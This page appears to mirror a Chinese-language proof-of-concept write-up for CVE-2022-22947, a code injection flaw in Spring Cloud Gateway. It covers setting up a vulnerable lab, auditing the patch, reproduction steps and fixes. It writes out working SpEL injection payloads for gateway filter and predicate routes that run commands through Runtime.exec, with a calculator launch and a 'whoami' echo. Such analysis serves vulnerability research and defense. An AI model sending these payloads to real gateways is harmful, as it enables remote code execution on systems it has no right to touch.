Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2022-22947 PoC — VMware Spring Cloud Gateway 代码注入漏洞

Source
Associated Vulnerability
Title:VMware Spring Cloud Gateway 代码注入漏洞 (CVE-2022-22947)
Description:In spring cloud gateway versions prior to 3.1.1+ and 3.0.7+ , applications are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.
Description
Spring-Cloud-Spel-RCE
Readme
## SpringCloud-Gateway命令执行漏洞(CVE-2022-22947)



## 环境搭建

### 方式一:

通过克隆Github上已写好的环境代码。

[Github仓库](https://github.com/Ha0Liu/CVE-2022-22947)

```git
//⚠️注意环境代码下载路径不可含有中文或空格
git clone https://github.com/Ha0Liu/CVE-2022-22947.git
```

![](./Picture2/Git环境搭建.png)

使用IDEA打开我们刚刚下载的代码包,Open ---> 刚下载的文件路径 ---> Open。




### 方式二:

通过自己手动创建工程,搭建环境。

(1)新建工程,配置好后一路next即可;

![](./Picture2/新建项目.png)

(2)分析项目的目录结构:

​			1、.idea文件夹中为InteliJ IDEA的默认配置文件,无其他用途,可根据自己的需求进行删除或保留;

​			2、src文件夹主要为整个工程的代码区域,其中包括java和resource两个文件夹,java是工程中 写java代码的区域,resource是整个工程的配置区域,Spring项目默认在java中添加 SpringApplication方法,此方法为Spring的默认启动方法,resource中默认添加application.properties,此文件为Spring项目的配置文件;

​			3、test文件夹为测试文件夹,可在test中测试方法;

​			4、pom.xml为maven的配置文件,其中包括工程所需要的依赖、配置等等;

​			5、.iml为maven依赖包的配置,也是默认添加的;

​			6、External Libraries文件夹为此工程的所有依赖包。

<img src="./Picture2/项目结构.png" style="zoom: 80%;" />

(3)添加maven依赖到pom.xml文件中([maven仓库](https://mvnrepository.com)中包含所有依赖详情)。

​			1、pom文件中会默认生成部分的xml代码,详情如下:

![](./Picture2/默认pom.png)

​			2、导入项目需要的依赖,其中由于此项目为SpringBoot项目所以需要导入spring-boot-starter依赖作为服务器的启动器,其次由于此漏洞为SpringCloud中Gateway网关的漏洞,风险版本为3.1.1以下的版本,所以此次我们使用3.1.0版本,进行漏洞复现,同时我们需要通过actuator接口进行监听、访问网关,所以这里我们也需要此依赖,具体内容如下:

![](./Picture2/pom依赖.png)

(4)修改Spring的配置文件(路径为src --> main --> resources --> application.properties),详情如下:

​			1、server.port为Spring服务器的启动端口,默认为8080端口,大家可根据自己的情况进行设置;

​			2、management.endpoint.gateway.enabled=true为开启actuator端口检测SpringCloud-Gateway网关,默认为false,因为此漏洞需要对网关的状态进行监听等操作,所以我们需要手动将其更改为true,开启监听;

​			3、management.endpoints.web.exposure.include=gateway为选择服务器的网关为Gateway网关,因为此漏洞就是Gateway网关的漏洞,所以我们在配置文件中声明网关选择Gateway网关。

![](./Picture2/配置文件修改.png)

(5)修改新建项目后自生成的Java类(类名称一般为项目名+Application,路径为src --> main --> java --> com.xxx.xxx --> xxxApplication),详情可见下图:

![](./Picture2/main.png)

(6)启动项目,详情如下图:

![](./Picture2/运行项目.png)

(7)访问http://localhost:9000,如果页面显示与截图一致,则证明环境搭建成功。

![](./Picture2/运行成功截图.png)

## 逆向审计

(1)首先我们看一下官方的修复补丁,differ如下:https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e ,官方在org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue这个函数用GatewayEvaluationContext替换了StandardEvaluationContext来执行SPEL表达式。

![](./Picture2/官方补丁.png)

由上图可以看出此次补丁,主要是通过修改SPEL表达式的解析方法,由66行可以看出此if判断语句,可以看出需要SPEL表达式需要以“#{”开始,以“}”结束,此getValue方法功能则为SPEL表达式解析,可以看出此漏洞为SPEL表达式出发的RCE漏洞。

(2)通过control+鼠标左键点击getValue字段,即可向上回溯找到org.springframework.cloud.gateway.support.

ShorycutConfigurable.ShortcutType枚举。

![](./Picture2/枚举详情.png)

<img src="./Picture2/枚举概括.png" style="zoom:150%;" />

通过上文中的default方法可看出,调用枚举中的DEFAULT方法,方法详情如下:

```java
default ShortcutType shortcutType() {
		return ShortcutType.DEFAULT;
	}
```

![DEFAULT方法](./Picture2/DEFAULT方法.jpg)

(3)向上回溯找到org.springframework.cloud.gateway.support.ConfigurationService.class#normalizeProperties()。

![](./Picture2/normalizeProperties.png)

这个normalizeProperties()是对filter的属性进行解析,会将filter的配置属性传入normalize中,最后进入getValue执行SPEL表达式造成SPEL表达式注入。

## 正向审计(无回显利用链)

(1)根据文档[https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html](https://cloud.spring.io/spring-cloud-gateway/multi/multi actuator_api.html ) 来看,用户可以通过actuator在网关中创建和删除路由,如下图为网关的基本构造。

![](./Picture2/网关构造.png)

(2)在IDEA中可通过actuator的mapping功能找到关于网关的创建、删除等功能接口。

![](./Picture2/网关接口.png)

(3)追踪到RouteDefinition类,发现此类为声明网关的结构内容。

![](./Picture2/RouteDefin.png)

(4)追踪其中的FilterDefinition类,发现Filter中有两个参数分别为“name”和“args”。

<img src="./Picture2/FilterDefinition.png" style="zoom:150%;" />

(5)追踪此name参数,发现在AbstractGatewayControllerEndpoint#save()方法中对name进行过滤,save方法为创建网关的接口,此方法调用两个参数一个是网关的id(可自定义),另一个是RouteDefinition,上文中说明了此对象声明了所创建的网关的结构内容是什么,这也就触发了此漏洞。

![](./Picture2/Filter的name过滤.png)

(6)通过打断点对isAvailable()方法进行动态调试,看看都有哪些name可以通过此过滤。

![](./Picture2/isAva.png)

![](./Picture2/动态调试.png)

可通过如上图中的name进行绕过name校验。

(7)通过上面的分析我们就可以通过指定的“name”参数和由“#{”起始,由“}”结束的SPEL表达式进行RCE攻击了,Payload如下:

```
/**
*对Payload中的SPEL表达式进行讲解
*由于我们这里需要通过表达式进行命令执行所以我们需要通过T(java.lang.Runtime).getRuntime().exec()的形式调用执行命令的方法。
*由于在执行命令时需要String类型的字符串将表达式传入,所以需要对表达式进行类型强制转换成String对象。
*由于在传入表达式时需要以字节流的形式传入,所以需要调用T(org.springframework.util.StreamUtils).copyToByteArray()方法。
/
{
  "id": "可任意更改(不可和之前创建的id相同)",
  "filters": [{
    "name": "👆上面截图中的任意name",
    "args": {
      "name": "可任意更改",
      //此value为弹出计算器的命令(MacOS)
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}
```

(8)predicates无回显利用链([官网](https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#creating-and- deleting-a-particular-route)):predicates的SPEL执行流程和filter的执行流程一致,下图为predicates的name校验匹配内容,可通过这些name对其进行命令执行,通过动态调试获取predicates的name校验机制,可根据官网中的example来构造Payload。

![](./Picture2/redicates.png)

```
/**
*对Payload中的SPEL表达式进行讲解
*由于我们这里需要通过表达式进行命令执行所以我们需要通过T(java.lang.Runtime).getRuntime().exec()的形式调用执行命令的方法。
*由于在执行命令时需要String类型的字符串将表达式传入,所以需要对表达式进行类型强制转换成String对象。
*由于在传入表达式时需要以字节流的形式传入,所以需要调用T(org.springframework.util.StreamUtils).copyToByteArray()方法。
/
{
  "id": "可任意更改(不可和之前创建的id相同)",
  "predicates": [{
    "name": "👆上面截图中的任意name",
    "args": {"_genkey_0":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"}).getInputStream()))}"}
  }],
  "filters": [],
  "uri": "https://www.uri-destination.org",
  "order": 0
}
```

## 总结(无回显利用链)

⽆回显链的filters、predicates 链确实存在,且只要 filters和predicates 名字合法绕过限制,就能触发RCE。



## 正向审计(有回显利用链)

(1)回显的原理:⽤户存储的路由定义信息存在内存中,刷新路由 spel 表达式执⾏后,会把执⾏结果写⼊路由信息⾥⾯。 通过查看路由信息 API 接⼝,就在路由信息展示中查看到 RCE 执⾏结果。

(2)通过官网的解释可一看出,对于filters的有回显的利用链中name=“AddResponseHeader”是可以触发有回显的利用链。

```
/**
*对Payload中的SPEL表达式进行讲解
*由于我们这里需要通过表达式进行命令执行所以我们需要通过T(java.lang.Runtime).getRuntime().exec()的形式调用执行命令的方法。
*由于在执行命令时需要String类型的字符串将表达式传入,所以需要对表达式进行类型强制转换成String对象。
*由于在传入表达式时需要以字节流的形式传入,所以需要调用T(org.springframework.util.StreamUtils).copyToByteArray()方法。
/
{
  "id": ""可任意更改(不可和之前创建的id相同)",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}
```

(3)下面我们需要思考除了name=“AddResponseHeader”以外,是不是像无回显链那样对所有的name都可以进行有回显的rce攻击。

(4)我们使用name=“RedirectTo”,复现尝试,看是否可进行回显攻击。

![](./Picture2/RedirectTo-save.png)

![](./Picture2/RedirectTo-Get.png)

发现并不能进行回显,看一下后台的日志信息,发现后台返回空指针异常。

![](./Picture2/RedirectTo-日志.png)

去官网查看是我们输入的args参数与过滤器不符造成的,此过滤器中需要两个参数一个是“status”另一个是“url”,我们通过更改参数,再执行一次。

![](./Picture2/302.png)

![](./Picture2/3022.png)

仍然返回404,但后台报错不是空指针异常了,通过看异常信息,说明 spring-cloud-gateway 是对 url 格式进⾏解析了。 也就是说相应的参数都有类型限制,⽐如 status 必须是 HTTP 状态码(枚举类型)。

![](./Picture2/302日志.png)

我们需要另求突破点,找⼀个参数是 String 类型。

(5)我们去官网中找一下参数是String的过滤器([官网链接](https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#the- removerequestheader-gatewayfilter-factory[)),比如RemoveRequestHeader过滤器只需要传入一个String类型的name字符串,这样我们就可以构造一个SPEL表达式作为name的值。

![](./Picture2/官网.png)

下面我们就可以构造Payload进行尝试,发现可以回显。

![](./Picture2/Remove-save.png)

![](./Picture2/Remove-get.png)

可以看出在Filters的有回显的利用链中,不仅仅对name有过滤,对其中的args参数也有一定的要求,但可以通过构造不同的过滤器对其限制进行绕过。

(6)predicates的有回显利用链中挖掘路线和Filters的挖掘思路一致,通过官网中的参数类型和参数内容进行筛选,找出符合执行SPEL表达式的过滤器,就可以执行有回显的RCE了。

(7)predicates中可通过name=“Cookie”,进行命令执行,通过官网的参数参考进行构造。

![](./Picture2/cookie.png)

构造Payload进行尝试,发现可以回显成功。

![](./Picture2/cookie-save.png)

![](./Picture2/cookie-get.png)

predicates回显链确实存在,不光对 args 参数名称有限制,并且对参数对应的类型也有限制。同时还有对参数完整性也有限制。

## 总结(有回显利用链)

在有回显利用链中,Spring不仅对过滤器的name进行过滤,对args的参数类型、参数个数也有对应的限制,可通过查看官网中的过滤器详情进行判断是否存在可利用链。



## 漏洞复现

1、无回显利用链

(1)首先需要创建一个网关,发送一个POST请求,并构造恶意的Payload。

![](./Picture2/复现1.png)

(2)刷新网关。

![复现2](./Picture2/复现2.png)

(3)获取网关信息,发送GET请求,请求刚刚我们创建好的test网关,弹出计算器。

![](./Picture2/复现3.png)

(4)删除网关。

![](./Picture2/复现4.png)

2、有回显利用链

(1)首先需要创建一个网关,发送一个POST请求,并构造恶意的Payload。

![](./Picture2/cookie-save.png)

(2)刷新网关。

![复现2](./Picture2/复现2.png)

(3)获取网关信息,发送GET请求,请求刚刚我们创建好的hacktest网关,回显“whoami”成功。

![复现3](./Picture2/cookie-get.png)

(4)删除网关。

![复现4](./Picture2/cookie-delete.png)





## 修复方案

1、临时修复方案:

(1)如果不需要 Actuator端点,可以通过如下配置将其禁用。

```
management.endpoint.gateway.enabled=false
```

(2)如果需要 Actuator 端点,则应使用 Spring Security 对其进行保护。



2、官方升级补丁:

官方已发布安全版本:

```
3.1.X 版本用户及时升级到 3.1.1+

3.0.X 版本用户及时升级到 3.0.7+
```

File Snapshot

[4.0K] /data/pocs/b225b09961d30a9d43bf36b40451ae83f5422a13 ├── [4.7M] CVE-2022-22947 SpringCloud-Gateway-Spel-RCE.pdf ├── [315K] Filters.png ├── [4.0K] payload │   ├── [ 670] 1.txt │   ├── [ 578] 2.txt │   ├── [ 512] 3.txt │   ├── [ 515] 4.txt │   ├── [ 711] 5.txt │   └── [ 688] 6.txt ├── [4.0K] Picture2 │   ├── [ 56K] 3022.png │   ├── [ 78K] 302.png │   ├── [ 12K] 302日志.png │   ├── [ 55K] cookie-delete.png │   ├── [ 70K] cookie-get.png │   ├── [ 64K] cookie.png │   ├── [ 79K] cookie-save.png │   ├── [ 91K] DEFAULT方法.jpg │   ├── [ 16K] FilterDefinition.png │   ├── [ 73K] Filter的name过滤.png │   ├── [1.0M] Git打开代码环境.png │   ├── [1.5M] Git环境搭建.png │   ├── [ 18K] isAva.png │   ├── [ 80K] main.png │   ├── [ 29K] normalizeProperties.png │   ├── [640K] pom依赖.png │   ├── [ 93K] redicates.png │   ├── [ 57K] RedirectTo-Get.png │   ├── [ 77K] RedirectTo-save.png │   ├── [162K] RedirectTo-日志.png │   ├── [ 77K] Remove-get.png │   ├── [ 75K] Remove-save.png │   ├── [ 41K] RouteDefin.png │   ├── [301K] 动态调试.png │   ├── [ 78K] 复现1.png │   ├── [ 43K] 复现2.png │   ├── [115K] 复现3.png │   ├── [ 56K] 复现4.png │   ├── [497K] 官方补丁.png │   ├── [ 66K] 官网.png │   ├── [730K] 新建项目.png │   ├── [ 35K] 枚举概括.png │   ├── [115K] 枚举详情.png │   ├── [337K] 网关接口.png │   ├── [ 93K] 网关构造.png │   ├── [151K] 运行成功截图.png │   ├── [822K] 运行项目.png │   ├── [139K] 配置文件修改.png │   ├── [676K] 项目结构.png │   └── [602K] 默认pom.png ├── [2.6K] pom.xml ├── [ 93K] Predicates.png ├── [ 14K] README.md ├── [ 12K] spring-gateway-rce 2.iml ├── [ 12K] spring-gateway-rce.iml ├── [4.0K] src │   ├── [4.0K] main │   │   ├── [4.0K] java │   │   │   └── [4.0K] com │   │   │   └── [4.0K] ha0l │   │   │   └── [1.0K] GatewayApp.java │   │   └── [4.0K] resources │   │   └── [ 201] application.properties │   └── [4.0K] test │   └── [4.0K] java │   └── [4.0K] wuya │   └── [ 189] GatewayAppTests.java └── [4.0K] target ├── [4.0K] classes │   ├── [ 201] application.properties │   └── [4.0K] com │   └── [4.0K] ha0l │   └── [ 974] GatewayApp.class ├── [4.0K] maven-archiver │   └── [ 61] pom.properties ├── [4.0K] maven-status │   └── [4.0K] maven-compiler-plugin │   ├── [4.0K] compile │   │   └── [4.0K] default-compile │   │   ├── [ 0] createdFiles.lst │   │   └── [ 85] inputFiles.lst │   └── [4.0K] testCompile │   └── [4.0K] default-testCompile │   ├── [ 0] createdFiles.lst │   └── [ 86] inputFiles.lst ├── [ 30M] spring-gateway-rce-0.0.1.jar ├── [3.2K] spring-gateway-rce-0.0.1.jar.original └── [4.0K] test-classes └── [4.0K] wuya └── [ 492] GatewayAppTests.class 24 directories, 66 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →